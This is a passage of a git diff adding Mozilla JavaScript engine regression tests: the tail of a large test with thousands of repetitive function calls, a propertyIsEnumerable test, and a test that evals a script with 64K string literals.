+ f('67061','67062','67063','67064');
+ f('67065','67066','67067','67068');
+ f('67069','67070','67071','67072');
+ f('67073','67074','67075','67076');
+ f('67077','67078','67079','67080');
+ f('67081','67082','67083','67084');
+ f('67085','67086','67087','67088');
+ f('67089','67090','67091','67092');
+ f('67093','67094','67095','67096');
+ f('67097','67098','67099','67100');
+ f('67101','67102','67103','67104');
+ f('67105','67106','67107','67108');
+ f('67109','67110','67111','67112');
+ f('67113','67114','67115','67116');
+ f('67117','67118','67119','67120');
+ f('67121','67122','67123','67124');
+ f('67125','67126','67127','67128');
+ f('67129','67130','67131','67132');
+ f('67133','67134','67135','67136');
+ f('67137','67138','67139','67140');
+ f('67141','67142','67143','67144');
+ f('67145','67146','67147','67148');
+ f('67149','67150','67151','67152');
+ f('67153','67154','67155','67156');
+ f('67157','67158','67159','67160');
+ f('67161','67162','67163','67164');
+ f('67165','67166','67167','67168');
+ f('67169','67170','67171','67172');
+ f('67173','67174','67175','67176');
+ f('67177','67178','67179','67180');
+ f('67181','67182','67183','67184');
+ f('67185','67186','67187','67188');
+ f('67189','67190','67191','67192');
+ f('67193','67194','67195','67196');
+ f('67197','67198','67199','67200');
+ f('67201','67202','67203','67204');
+ f('67205','67206','67207','67208');
+ f('67209','67210','67211','67212');
+ f('67213','67214','67215','67216');
+ f('67217','67218','67219','67220');
+ f('67221','67222','67223','67224');
+ f('67225','67226','67227','67228');
+ f('67229','67230','67231','67232');
+ f('67233','67234','67235','67236');
+ f('67237','67238','67239','67240');
+ f('67241','67242','67243','67244');
+ f('67245','67246','67247','67248');
+ f('67249','67250','67251','67252');
+ f('67253','67254','67255','67256');
+ f('67257','67258','67259','67260');
+ f('67261','67262','67263','67264');
+ f('67265','67266','67267','67268');
+ f('67269','67270','67271','67272');
+ f('67273','67274','67275','67276');
+ f('67277','67278','67279','67280');
+ f('67281','67282','67283','67284');
+ f('67285','67286','67287','67288');
+ f('67289','67290','67291','67292');
+ f('67293','67294','67295','67296');
+ f('67297','67298','67299','67300');
+ f('67301','67302','67303','67304');
+ f('67305','67306','67307','67308');
+ f('67309','67310','67311','67312');
+ f('67313','67314','67315','67316');
+ f('67317','67318','67319','67320');
+ f('67321','67322','67323','67324');
+ f('67325','67326','67327','67328');
+ f('67329','67330','67331','67332');
+ f('67333','67334','67335','67336');
+ f('67337','67338','67339','67340');
+ f('67341','67342','67343','67344');
+ f('67345','67346','67347','67348');
+ f('67349','67350','67351','67352');
+ f('67353','67354','67355','67356');
+ f('67357','67358','67359','67360');
+ f('67361','67362','67363','67364');
+ f('67365','67366','67367','67368');
+ f('67369','67370','67371','67372');
+ f('67373','67374','67375','67376');
+ f('67377','67378','67379','67380');
+ f('67381','67382','67383','67384');
+ f('67385','67386','67387','67388');
+ f('67389','67390','67391','67392');
+ f('67393','67394','67395','67396');
+ f('67397','67398','67399','67400');
+ f('67401','67402','67403','67404');
+ f('67405','67406','67407','67408');
+ f('67409','67410','67411','67412');
+ f('67413','67414','67415','67416');
+ f('67417','67418','67419','67420');
+ f('67421','67422','67423','67424');
+ f('67425','67426','67427','67428');
+ f('67429','67430','67431','67432');
+ f('67433','67434','67435','67436');
+ f('67437','67438','67439','67440');
+ f('67441','67442','67443','67444');
+ f('67445','67446','67447','67448');
+ f('67449','67450','67451','67452');
+ f('67453','67454','67455','67456');
+ f('67457','67458','67459','67460');
+ f('67461','67462','67463','67464');
+ f('67465','67466','67467','67468');
+ f('67469','67470','67471','67472');
+ f('67473','67474','67475','67476');
+ f('67477','67478','67479','67480');
+ f('67481','67482','67483','67484');
+ f('67485','67486','67487','67488');
+ f('67489','67490','67491','67492');
+ f('67493','67494','67495','67496');
+ f('67497','67498','67499','67500');
+ f('67501','67502','67503','67504');
+ f('67505','67506','67507','67508');
+ f('67509','67510','67511','67512');
+ f('67513','67514','67515','67516');
+ f('67517','67518','67519','67520');
+ f('67521','67522','67523','67524');
+ f('67525','67526','67527','67528');
+ f('67529','67530','67531','67532');
+ f('67533','67534','67535','67536');
+ f('67537','67538','67539','67540');
+ f('67541','67542','67543','67544');
+ f('67545','67546','67547','67548');
+ f('67549','67550','67551','67552');
+ f('67553','67554','67555','67556');
+ f('67557','67558','67559','67560');
+ f('67561','67562','67563','67564');
+ f('67565','67566','67567','67568');
+ f('67569','67570','67571','67572');
+ f('67573','67574','67575','67576');
+ f('67577','67578','67579','67580');
+ f('67581','67582','67583','67584');
+ f('67585','67586','67587','67588');
+ f('67589','67590','67591','67592');
+ f('67593','67594','67595','67596');
+ f('67597','67598','67599','67600');
+ f('67601','67602','67603','67604');
+ f('67605','67606','67607','67608');
+ f('67609','67610','67611','67612');
+ f('67613','67614','67615','67616');
+ f('67617','67618','67619','67620');
+ f('67621','67622','67623','67624');
+ f('67625','67626','67627','67628');
+ f('67629','67630','67631','67632');
+ f('67633','67634','67635','67636');
+ f('67637','67638','67639','67640');
+ f('67641','67642','67643','67644');
+ f('67645','67646','67647','67648');
+ f('67649','67650','67651','67652');
+ f('67653','67654','67655','67656');
+ f('67657','67658','67659','67660');
+ f('67661','67662','67663','67664');
+ f('67665','67666','67667','67668');
+ f('67669','67670','67671','67672');
+ f('67673','67674','67675','67676');
+ f('67677','67678','67679','67680');
+ f('67681','67682','67683','67684');
+ f('67685','67686','67687','67688');
+ f('67689','67690','67691','67692');
+ f('67693','67694','67695','67696');
+ f('67697','67698','67699','67700');
+ f('67701','67702','67703','67704');
+ f('67705','67706','67707','67708');
+ f('67709','67710','67711','67712');
+ f('67713','67714','67715','67716');
+ f('67717','67718','67719','67720');
+ f('67721','67722','67723','67724');
+ f('67725','67726','67727','67728');
+ f('67729','67730','67731','67732');
+ f('67733','67734','67735','67736');
+ f('67737','67738','67739','67740');
+ f('67741','67742','67743','67744');
+ f('67745','67746','67747','67748');
+ f('67749','67750','67751','67752');
+ f('67753','67754','67755','67756');
+ f('67757','67758','67759','67760');
+ f('67761','67762','67763','67764');
+ f('67765','67766','67767','67768');
+ f('67769','67770','67771','67772');
+ f('67773','67774','67775','67776');
+ f('67777','67778','67779','67780');
+ f('67781','67782','67783','67784');
+ f('67785','67786','67787','67788');
+ f('67789','67790','67791','67792');
+ f('67793','67794','67795','67796');
+ f('67797','67798','67799','67800');
+ f('67801','67802','67803','67804');
+ f('67805','67806','67807','67808');
+ f('67809','67810','67811','67812');
+ f('67813','67814','67815','67816');
+ f('67817','67818','67819','67820');
+ f('67821','67822','67823','67824');
+ f('67825','67826','67827','67828');
+ f('67829','67830','67831','67832');
+ f('67833','67834','67835','67836');
+ f('67837','67838','67839','67840');
+ f('67841','67842','67843','67844');
+ f('67845','67846','67847','67848');
+ f('67849','67850','67851','67852');
+ f('67853','67854','67855','67856');
+ f('67857','67858','67859','67860');
+ f('67861','67862','67863','67864');
+ f('67865','67866','67867','67868');
+ f('67869','67870','67871','67872');
+ f('67873','67874','67875','67876');
+ f('67877','67878','67879','67880');
+ f('67881','67882','67883','67884');
+ f('67885','67886','67887','67888');
+ f('67889','67890','67891','67892');
+ f('67893','67894','67895','67896');
+ f('67897','67898','67899','67900');
+ f('67901','67902','67903','67904');
+ f('67905','67906','67907','67908');
+ f('67909','67910','67911','67912');
+ f('67913','67914','67915','67916');
+ f('67917','67918','67919','67920');
+ f('67921','67922','67923','67924');
+ f('67925','67926','67927','67928');
+ f('67929','67930','67931','67932');
+ f('67933','67934','67935','67936');
+ f('67937','67938','67939','67940');
+ f('67941','67942','67943','67944');
+ f('67945','67946','67947','67948');
+ f('67949','67950','67951','67952');
+ f('67953','67954','67955','67956');
+ f('67957','67958','67959','67960');
+ f('67961','67962','67963','67964');
+ f('67965','67966','67967','67968');
+ f('67969','67970','67971','67972');
+ f('67973','67974','67975','67976');
+ f('67977','67978','67979','67980');
+ f('67981','67982','67983','67984');
+ f('67985','67986','67987','67988');
+ f('67989','67990','67991','67992');
+ f('67993','67994','67995','67996');
+ f('67997','67998','67999','68000');
+ f('68001','68002','68003','68004');
+ f('68005','68006','68007','68008');
+ f('68009','68010','68011','68012');
+ f('68013','68014','68015','68016');
+ f('68017','68018','68019','68020');
+ f('68021','68022','68023','68024');
+ f('68025','68026','68027','68028');
+ f('68029','68030','68031','68032');
+ f('68033','68034','68035','68036');
+ f('68037','68038','68039','68040');
+ f('68041','68042','68043','68044');
+ f('68045','68046','68047','68048');
+ f('68049','68050','68051','68052');
+ f('68053','68054','68055','68056');
+ f('68057','68058','68059','68060');
+ f('68061','68062','68063','68064');
+ f('68065','68066','68067','68068');
+ f('68069','68070','68071','68072');
+ f('68073','68074','68075','68076');
+ f('68077','68078','68079','68080');
+ f('68081','68082','68083','68084');
+ f('68085','68086','68087','68088');
+ f('68089','68090','68091','68092');
+ f('68093','68094','68095','68096');
+ f('68097','68098','68099','68100');
+ f('68101','68102','68103','68104');
+ f('68105','68106','68107','68108');
+ f('68109','68110','68111','68112');
+ f('68113','68114','68115','68116');
+ f('68117','68118','68119','68120');
+ f('68121','68122','68123','68124');
+ f('68125','68126','68127','68128');
+ f('68129','68130','68131','68132');
+ f('68133','68134','68135','68136');
+ f('68137','68138','68139','68140');
+ f('68141','68142','68143','68144');
+ f('68145','68146','68147','68148');
+ f('68149','68150','68151','68152');
+ f('68153','68154','68155','68156');
+ f('68157','68158','68159','68160');
+ f('68161','68162','68163','68164');
+ f('68165','68166','68167','68168');
+ f('68169','68170','68171','68172');
+ f('68173','68174','68175','68176');
+ f('68177','68178','68179','68180');
+ f('68181','68182','68183','68184');
+ f('68185','68186','68187','68188');
+ f('68189','68190','68191','68192');
+ f('68193','68194','68195','68196');
+ f('68197','68198','68199','68200');
+ f('68201','68202','68203','68204');
+ f('68205','68206','68207','68208');
+ f('68209','68210','68211','68212');
+ f('68213','68214','68215','68216');
+ f('68217','68218','68219','68220');
+ f('68221','68222','68223','68224');
+ f('68225','68226','68227','68228');
+ f('68229','68230','68231','68232');
+ f('68233','68234','68235','68236');
+ f('68237','68238','68239','68240');
+ f('68241','68242','68243','68244');
+ f('68245','68246','68247','68248');
+ f('68249','68250','68251','68252');
+ f('68253','68254','68255','68256');
+ f('68257','68258','68259','68260');
+ f('68261','68262','68263','68264');
+ f('68265','68266','68267','68268');
+ f('68269','68270','68271','68272');
+ f('68273','68274','68275','68276');
+ f('68277','68278','68279','68280');
+ f('68281','68282','68283','68284');
+ f('68285','68286','68287','68288');
+ f('68289','68290','68291','68292');
+ f('68293','68294','68295','68296');
+ f('68297','68298','68299','68300');
+ f('68301','68302','68303','68304');
+ f('68305','68306','68307','68308');
+ f('68309','68310','68311','68312');
+ f('68313','68314','68315','68316');
+ f('68317','68318','68319','68320');
+ f('68321','68322','68323','68324');
+ f('68325','68326','68327','68328');
+ f('68329','68330','68331','68332');
+ f('68333','68334','68335','68336');
+ f('68337','68338','68339','68340');
+ f('68341','68342','68343','68344');
+ f('68345','68346','68347','68348');
+ f('68349','68350','68351','68352');
+ f('68353','68354','68355','68356');
+ f('68357','68358','68359','68360');
+ f('68361','68362','68363','68364');
+ f('68365','68366','68367','68368');
+ f('68369','68370','68371','68372');
+ f('68373','68374','68375','68376');
+ f('68377','68378','68379','68380');
+ f('68381','68382','68383','68384');
+ f('68385','68386','68387','68388');
+ f('68389','68390','68391','68392');
+ f('68393','68394','68395','68396');
+ f('68397','68398','68399','68400');
+ f('68401','68402','68403','68404');
+ f('68405','68406','68407','68408');
+ f('68409','68410','68411','68412');
+ f('68413','68414','68415','68416');
+ f('68417','68418','68419','68420');
+ f('68421','68422','68423','68424');
+ f('68425','68426','68427','68428');
+ f('68429','68430','68431','68432');
+ f('68433','68434','68435','68436');
+ f('68437','68438','68439','68440');
+ f('68441','68442','68443','68444');
+ f('68445','68446','68447','68448');
+ f('68449','68450','68451','68452');
+ f('68453','68454','68455','68456');
+ f('68457','68458','68459','68460');
+ f('68461','68462','68463','68464');
+ f('68465','68466','68467','68468');
+ f('68469','68470','68471','68472');
+ f('68473','68474','68475','68476');
+ f('68477','68478','68479','68480');
+ f('68481','68482','68483','68484');
+ f('68485','68486','68487','68488');
+ f('68489','68490','68491','68492');
+ f('68493','68494','68495','68496');
+ f('68497','68498','68499','68500');
+ f('68501','68502','68503','68504');
+ f('68505','68506','68507','68508');
+ f('68509','68510','68511','68512');
+ f('68513','68514','68515','68516');
+ f('68517','68518','68519','68520');
+ f('68521','68522','68523','68524');
+ f('68525','68526','68527','68528');
+ f('68529','68530','68531','68532');
+ f('68533','68534','68535','68536');
+ f('68537','68538','68539','68540');
+ f('68541','68542','68543','68544');
+ f('68545','68546','68547','68548');
+ f('68549','68550','68551','68552');
+ f('68553','68554','68555','68556');
+ f('68557','68558','68559','68560');
+ f('68561','68562','68563','68564');
+ f('68565','68566','68567','68568');
+ f('68569','68570','68571','68572');
+ f('68573','68574','68575','68576');
+ f('68577','68578','68579','68580');
+ f('68581','68582','68583','68584');
+ f('68585','68586','68587','68588');
+ f('68589','68590','68591','68592');
+ f('68593','68594','68595','68596');
+ f('68597','68598','68599','68600');
+ f('68601','68602','68603','68604');
+ f('68605','68606','68607','68608');
+ f('68609','68610','68611','68612');
+ f('68613','68614','68615','68616');
+ f('68617','68618','68619','68620');
+ f('68621','68622','68623','68624');
+ f('68625','68626','68627','68628');
+ f('68629','68630','68631','68632');
+ f('68633','68634','68635','68636');
+ f('68637','68638','68639','68640');
+ f('68641','68642','68643','68644');
+ f('68645','68646','68647','68648');
+ f('68649','68650','68651','68652');
+ f('68653','68654','68655','68656');
+ f('68657','68658','68659','68660');
+ f('68661','68662','68663','68664');
+ f('68665','68666','68667','68668');
+ f('68669','68670','68671','68672');
+ f('68673','68674','68675','68676');
+ f('68677','68678','68679','68680');
+ f('68681','68682','68683','68684');
+ f('68685','68686','68687','68688');
+ f('68689','68690','68691','68692');
+ f('68693','68694','68695','68696');
+ f('68697','68698','68699','68700');
+ f('68701','68702','68703','68704');
+ f('68705','68706','68707','68708');
+ f('68709','68710','68711','68712');
+ f('68713','68714','68715','68716');
+ f('68717','68718','68719','68720');
+ f('68721','68722','68723','68724');
+ f('68725','68726','68727','68728');
+ f('68729','68730','68731','68732');
+ f('68733','68734','68735','68736');
+ f('68737','68738','68739','68740');
+ f('68741','68742','68743','68744');
+ f('68745','68746','68747','68748');
+ f('68749','68750','68751','68752');
+ f('68753','68754','68755','68756');
+ f('68757','68758','68759','68760');
+ f('68761','68762','68763','68764');
+ f('68765','68766','68767','68768');
+ f('68769','68770','68771','68772');
+ f('68773','68774','68775','68776');
+ f('68777','68778','68779','68780');
+ f('68781','68782','68783','68784');
+ f('68785','68786','68787','68788');
+ f('68789','68790','68791','68792');
+ f('68793','68794','68795','68796');
+ f('68797','68798','68799','68800');
+ f('68801','68802','68803','68804');
+ f('68805','68806','68807','68808');
+ f('68809','68810','68811','68812');
+ f('68813','68814','68815','68816');
+ f('68817','68818','68819','68820');
+ f('68821','68822','68823','68824');
+ f('68825','68826','68827','68828');
+ f('68829','68830','68831','68832');
+ f('68833','68834','68835','68836');
+ f('68837','68838','68839','68840');
+ f('68841','68842','68843','68844');
+ f('68845','68846','68847','68848');
+ f('68849','68850','68851','68852');
+ f('68853','68854','68855','68856');
+ f('68857','68858','68859','68860');
+ f('68861','68862','68863','68864');
+ f('68865','68866','68867','68868');
+ f('68869','68870','68871','68872');
+ f('68873','68874','68875','68876');
+ f('68877','68878','68879','68880');
+ f('68881','68882','68883','68884');
+ f('68885','68886','68887','68888');
+ f('68889','68890','68891','68892');
+ f('68893','68894','68895','68896');
+ f('68897','68898','68899','68900');
+ f('68901','68902','68903','68904');
+ f('68905','68906','68907','68908');
+ f('68909','68910','68911','68912');
+ f('68913','68914','68915','68916');
+ f('68917','68918','68919','68920');
+ f('68921','68922','68923','68924');
+ f('68925','68926','68927','68928');
+ f('68929','68930','68931','68932');
+ f('68933','68934','68935','68936');
+ f('68937','68938','68939','68940');
+ f('68941','68942','68943','68944');
+ f('68945','68946','68947','68948');
+ f('68949','68950','68951','68952');
+ f('68953','68954','68955','68956');
+ f('68957','68958','68959','68960');
+ f('68961','68962','68963','68964');
+ f('68965','68966','68967','68968');
+ f('68969','68970','68971','68972');
+ f('68973','68974','68975','68976');
+ f('68977','68978','68979','68980');
+ f('68981','68982','68983','68984');
+ f('68985','68986','68987','68988');
+ f('68989','68990','68991','68992');
+ f('68993','68994','68995','68996');
+ f('68997','68998','68999','69000');
+ f('69001','69002','69003','69004');
+ f('69005','69006','69007','69008');
+ f('69009','69010','69011','69012');
+ f('69013','69014','69015','69016');
+ f('69017','69018','69019','69020');
+ f('69021','69022','69023','69024');
+ f('69025','69026','69027','69028');
+ f('69029','69030','69031','69032');
+ f('69033','69034','69035','69036');
+ f('69037','69038','69039','69040');
+ f('69041','69042','69043','69044');
+ f('69045','69046','69047','69048');
+ f('69049','69050','69051','69052');
+ f('69053','69054','69055','69056');
+ f('69057','69058','69059','69060');
+ f('69061','69062','69063','69064');
+ f('69065','69066','69067','69068');
+ f('69069','69070','69071','69072');
+ f('69073','69074','69075','69076');
+ f('69077','69078','69079','69080');
+ f('69081','69082','69083','69084');
+ f('69085','69086','69087','69088');
+ f('69089','69090','69091','69092');
+ f('69093','69094','69095','69096');
+ f('69097','69098','69099','69100');
+ f('69101','69102','69103','69104');
+ f('69105','69106','69107','69108');
+ f('69109','69110','69111','69112');
+ f('69113','69114','69115','69116');
+ f('69117','69118','69119','69120');
+ f('69121','69122','69123','69124');
+ f('69125','69126','69127','69128');
+ f('69129','69130','69131','69132');
+ f('69133','69134','69135','69136');
+ f('69137','69138','69139','69140');
+ f('69141','69142','69143','69144');
+ f('69145','69146','69147','69148');
+ f('69149','69150','69151','69152');
+ f('69153','69154','69155','69156');
+ f('69157','69158','69159','69160');
+ f('69161','69162','69163','69164');
+ f('69165','69166','69167','69168');
+ f('69169','69170','69171','69172');
+ f('69173','69174','69175','69176');
+ f('69177','69178','69179','69180');
+ f('69181','69182','69183','69184');
+ f('69185','69186','69187','69188');
+ f('69189','69190','69191','69192');
+ f('69193','69194','69195','69196');
+ f('69197','69198','69199','69200');
+ f('69201','69202','69203','69204');
+ f('69205','69206','69207','69208');
+ f('69209','69210','69211','69212');
+ f('69213','69214','69215','69216');
+ f('69217','69218','69219','69220');
+ f('69221','69222','69223','69224');
+ f('69225','69226','69227','69228');
+ f('69229','69230','69231','69232');
+ f('69233','69234','69235','69236');
+ f('69237','69238','69239','69240');
+ f('69241','69242','69243','69244');
+ f('69245','69246','69247','69248');
+ f('69249','69250','69251','69252');
+ f('69253','69254','69255','69256');
+ f('69257','69258','69259','69260');
+ f('69261','69262','69263','69264');
+ f('69265','69266','69267','69268');
+ f('69269','69270','69271','69272');
+ f('69273','69274','69275','69276');
+ f('69277','69278','69279','69280');
+ f('69281','69282','69283','69284');
+ f('69285','69286','69287','69288');
+ f('69289','69290','69291','69292');
+ f('69293','69294','69295','69296');
+ f('69297','69298','69299','69300');
+ f('69301','69302','69303','69304');
+ f('69305','69306','69307','69308');
+ f('69309','69310','69311','69312');
+ f('69313','69314','69315','69316');
+ f('69317','69318','69319','69320');
+ f('69321','69322','69323','69324');
+ f('69325','69326','69327','69328');
+ f('69329','69330','69331','69332');
+ f('69333','69334','69335','69336');
+ f('69337','69338','69339','69340');
+ f('69341','69342','69343','69344');
+ f('69345','69346','69347','69348');
+ f('69349','69350','69351','69352');
+ f('69353','69354','69355','69356');
+ f('69357','69358','69359','69360');
+ f('69361','69362','69363','69364');
+ f('69365','69366','69367','69368');
+ f('69369','69370','69371','69372');
+ f('69373','69374','69375','69376');
+ f('69377','69378','69379','69380');
+ f('69381','69382','69383','69384');
+ f('69385','69386','69387','69388');
+ f('69389','69390','69391','69392');
+ f('69393','69394','69395','69396');
+ f('69397','69398','69399','69400');
+ f('69401','69402','69403','69404');
+ f('69405','69406','69407','69408');
+ f('69409','69410','69411','69412');
+ f('69413','69414','69415','69416');
+ f('69417','69418','69419','69420');
+ f('69421','69422','69423','69424');
+ f('69425','69426','69427','69428');
+ f('69429','69430','69431','69432');
+ f('69433','69434','69435','69436');
+ f('69437','69438','69439','69440');
+ f('69441','69442','69443','69444');
+ f('69445','69446','69447','69448');
+ f('69449','69450','69451','69452');
+ f('69453','69454','69455','69456');
+ f('69457','69458','69459','69460');
+ f('69461','69462','69463','69464');
+ f('69465','69466','69467','69468');
+ f('69469','69470','69471','69472');
+ f('69473','69474','69475','69476');
+ f('69477','69478','69479','69480');
+ f('69481','69482','69483','69484');
+ f('69485','69486','69487','69488');
+ f('69489','69490','69491','69492');
+ f('69493','69494','69495','69496');
+ f('69497','69498','69499','69500');
+ f('69501','69502','69503','69504');
+ f('69505','69506','69507','69508');
+ f('69509','69510','69511','69512');
+ f('69513','69514','69515','69516');
+ f('69517','69518','69519','69520');
+ f('69521','69522','69523','69524');
+ f('69525','69526','69527','69528');
+ f('69529','69530','69531','69532');
+ f('69533','69534','69535','69536');
+ f('69537','69538','69539','69540');
+ f('69541','69542','69543','69544');
+ f('69545','69546','69547','69548');
+ f('69549','69550','69551','69552');
+ f('69553','69554','69555','69556');
+ f('69557','69558','69559','69560');
+ f('69561','69562','69563','69564');
+ f('69565','69566','69567','69568');
+ f('69569','69570','69571','69572');
+ f('69573','69574','69575','69576');
+ f('69577','69578','69579','69580');
+ f('69581','69582','69583','69584');
+ f('69585','69586','69587','69588');
+ f('69589','69590','69591','69592');
+ f('69593','69594','69595','69596');
+ f('69597','69598','69599','69600');
+ f('69601','69602','69603','69604');
+ f('69605','69606','69607','69608');
+ f('69609','69610','69611','69612');
+ f('69613','69614','69615','69616');
+ f('69617','69618','69619','69620');
+ f('69621','69622','69623','69624');
+ f('69625','69626','69627','69628');
+ f('69629','69630','69631','69632');
+ f('69633','69634','69635','69636');
+ f('69637','69638','69639','69640');
+ f('69641','69642','69643','69644');
+ f('69645','69646','69647','69648');
+ f('69649','69650','69651','69652');
+ f('69653','69654','69655','69656');
+ f('69657','69658','69659','69660');
+ f('69661','69662','69663','69664');
+ f('69665','69666','69667','69668');
+ f('69669','69670','69671','69672');
+ f('69673','69674','69675','69676');
+ f('69677','69678','69679','69680');
+ f('69681','69682','69683','69684');
+ f('69685','69686','69687','69688');
+ f('69689','69690','69691','69692');
+ f('69693','69694','69695','69696');
+ f('69697','69698','69699','69700');
+ f('69701','69702','69703','69704');
+ f('69705','69706','69707','69708');
+ f('69709','69710','69711','69712');
+ f('69713','69714','69715','69716');
+ f('69717','69718','69719','69720');
+ f('69721','69722','69723','69724');
+ f('69725','69726','69727','69728');
+ f('69729','69730','69731','69732');
+ f('69733','69734','69735','69736');
+ f('69737','69738','69739','69740');
+ f('69741','69742','69743','69744');
+ f('69745','69746','69747','69748');
+ f('69749','69750','69751','69752');
+ f('69753','69754','69755','69756');
+ f('69757','69758','69759','69760');
+ f('69761','69762','69763','69764');
+ f('69765','69766','69767','69768');
+ f('69769','69770','69771','69772');
+ f('69773','69774','69775','69776');
+ f('69777','69778','69779','69780');
+ f('69781','69782','69783','69784');
+ f('69785','69786','69787','69788');
+ f('69789','69790','69791','69792');
+ f('69793','69794','69795','69796');
+ f('69797','69798','69799','69800');
+ f('69801','69802','69803','69804');
+ f('69805','69806','69807','69808');
+ f('69809','69810','69811','69812');
+ f('69813','69814','69815','69816');
+ f('69817','69818','69819','69820');
+ f('69821','69822','69823','69824');
+ f('69825','69826','69827','69828');
+ f('69829','69830','69831','69832');
+ f('69833','69834','69835','69836');
+ f('69837','69838','69839','69840');
+ f('69841','69842','69843','69844');
+ f('69845','69846','69847','69848');
+ f('69849','69850','69851','69852');
+ f('69853','69854','69855','69856');
+ f('69857','69858','69859','69860');
+ f('69861','69862','69863','69864');
+ f('69865','69866','69867','69868');
+ f('69869','69870','69871','69872');
+ f('69873','69874','69875','69876');
+ f('69877','69878','69879','69880');
+ f('69881','69882','69883','69884');
+ f('69885','69886','69887','69888');
+ f('69889','69890','69891','69892');
+ f('69893','69894','69895','69896');
+ f('69897','69898','69899','69900');
+ f('69901','69902','69903','69904');
+ f('69905','69906','69907','69908');
+ f('69909','69910','69911','69912');
+ f('69913','69914','69915','69916');
+ f('69917','69918','69919','69920');
+ f('69921','69922','69923','69924');
+ f('69925','69926','69927','69928');
+ f('69929','69930','69931','69932');
+ f('69933','69934','69935','69936');
+ f('69937','69938','69939','69940');
+ f('69941','69942','69943','69944');
+ f('69945','69946','69947','69948');
+ f('69949','69950','69951','69952');
+ f('69953','69954','69955','69956');
+ f('69957','69958','69959','69960');
+ f('69961','69962','69963','69964');
+ f('69965','69966','69967','69968');
+ f('69969','69970','69971','69972');
+ f('69973','69974','69975','69976');
+ f('69977','69978','69979','69980');
+ f('69981','69982','69983','69984');
+ f('69985','69986','69987','69988');
+ f('69989','69990','69991','69992');
+ f('69993','69994','69995','69996');
+ f('69997','69998','69999','70000');
+ actual = 'No Crash, No Error';
+}
+catch(e)
+{
+ printStatus('caught ' + e);
+ actual = e + '';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-156354.js b/js/src/tests/js1_5/Regress/regress-156354.js
new file mode 100644
index 000000000..198651494
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-156354.js
@@ -0,0 +1,97 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 16 September 2002
+ * SUMMARY: Testing propertyIsEnumerable() on nonexistent property
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=156354
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 156354;
+var summary = 'Testing propertyIsEnumerable() on nonexistent property';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+actual = this.propertyIsEnumerable('XYZ');
+expect = false;
+addThis();
+
+status = inSection(2);
+actual = this.propertyIsEnumerable('');
+expect = false;
+addThis();
+
+status = inSection(3);
+actual = this.propertyIsEnumerable(undefined);
+expect = false;
+addThis();
+
+status = inSection(4);
+actual = this.propertyIsEnumerable(null);
+expect = false;
+addThis();
+
+status = inSection(5);
+actual = this.propertyIsEnumerable('\u02b1');
+expect = false;
+addThis();
+
+
+var obj = {prop1:null};
+
+status = inSection(6);
+actual = obj.propertyIsEnumerable('prop1');
+expect = true;
+addThis();
+
+status = inSection(7);
+actual = obj.propertyIsEnumerable('prop2');
+expect = false;
+addThis();
+
+// let's try one via eval(), too -
+status = inSection(8);
+eval("actual = obj.propertyIsEnumerable('prop2')");
+expect = false;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-159334.js b/js/src/tests/js1_5/Regress/regress-159334.js
new file mode 100644
index 000000000..74f884f9f
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-159334.js
@@ -0,0 +1,95 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 31 Oct 2002
+ * SUMMARY: Testing script with at least 64K of different string literals
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=159334
+ *
+ * Testing that script engine can handle scripts with at least 64K of different
+ * string literals. The following will evaluate, via eval(), a script like this:
+ *
+ * f('0')
+ * f('1')
+ * ...
+ * f('N - 1')
+ *
+ * where N is 0xFFFE
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 159334;
+var summary = 'Testing script with at least 64K of different string literals';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+var N = 0xFFFE;
+
+// Create big string for eval recursively to avoid N*N behavior
+// on string concatenation
+var long_eval = buildEval_r(0, N);
+
+// Run it
+var test_sum = 0;
+function f(str) { test_sum += Number(str); }
+eval(long_eval);
+
+status = inSection(1);
+actual = (test_sum == N * (N - 1) / 2);
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function buildEval_r(beginLine, endLine)
+{
+ var count = endLine - beginLine;
+
+ if (count == 0)
+ return "";
+
+ if (count == 1)
+ return "f('" + beginLine + "')\n";
+
+ var middle = beginLine + (count >>> 1);
+ return buildEval_r(beginLine, middle) + buildEval_r(middle, endLine);
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-162392.js b/js/src/tests/js1_5/Regress/regress-162392.js
new file mode 100644
index 000000000..a745d2134
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-162392.js
@@ -0,0 +1,37 @@
